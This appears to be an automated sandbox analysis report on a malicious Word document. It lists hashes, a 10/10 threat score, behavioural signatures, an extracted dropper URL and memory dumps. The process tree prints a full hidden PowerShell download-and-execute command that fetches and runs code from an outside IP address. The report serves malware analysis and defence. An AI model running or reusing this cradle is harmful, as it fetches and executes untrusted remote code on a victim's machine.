Resubmissions

22-11-2024 01:21

241122-bqr1ps1nax 10

Analysis

  • max time kernel
    56s
  • max time network
    20s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    22-11-2024 01:21

General

  • Target

    68238802bf5eb3900f9be03eda70dbf4cf95522d7c54f6d153ef8edaf9dca401.doc

  • Size

    32KB

  • MD5

    50e418fbf365040c4de7e2ac2159472a

  • SHA1

    47c814b27ead61337da3fb4d0f9e9bd29ed3711c

  • SHA256

    68238802bf5eb3900f9be03eda70dbf4cf95522d7c54f6d153ef8edaf9dca401

  • SHA512

    9f55ce9ab84b77cd6798753d853f049f1a0ffa8d251c8ab4a30c4dfc02206451988dc881cbfeb3d1cdf994d14732325cdeee408fb72229d4caed1727c269282b

  • SSDEEP

    384:h+8iSwvxjk+t+lrqrXdbXdCRJg0jEc6tu:hMxw+tYsJEMS

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.45.199/health

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\68238802bf5eb3900f9be03eda70dbf4cf95522d7c54f6d153ef8edaf9dca401.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.45.199/health'))
      1⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2768

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2280-32-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-5-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-0-0x000000002FFC1000-0x000000002FFC2000-memory.dmp

      Filesize

      4KB

    • memory/2280-11-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-25-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-10-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-59-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-58-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-57-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-56-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-55-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-21-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-53-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-39-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2280-2-0x000000007183D000-0x0000000071848000-memory.dmp

      Filesize

      44KB

    • memory/2280-54-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-20-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-18-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-9-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-8-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-7-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-6-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-46-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-4-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-72-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2280-71-0x000000007183D000-0x0000000071848000-memory.dmp

      Filesize

      44KB

    • memory/2768-66-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

      Filesize

      32KB

    • memory/2768-65-0x000000001B430000-0x000000001B712000-memory.dmp

      Filesize

      2.9MB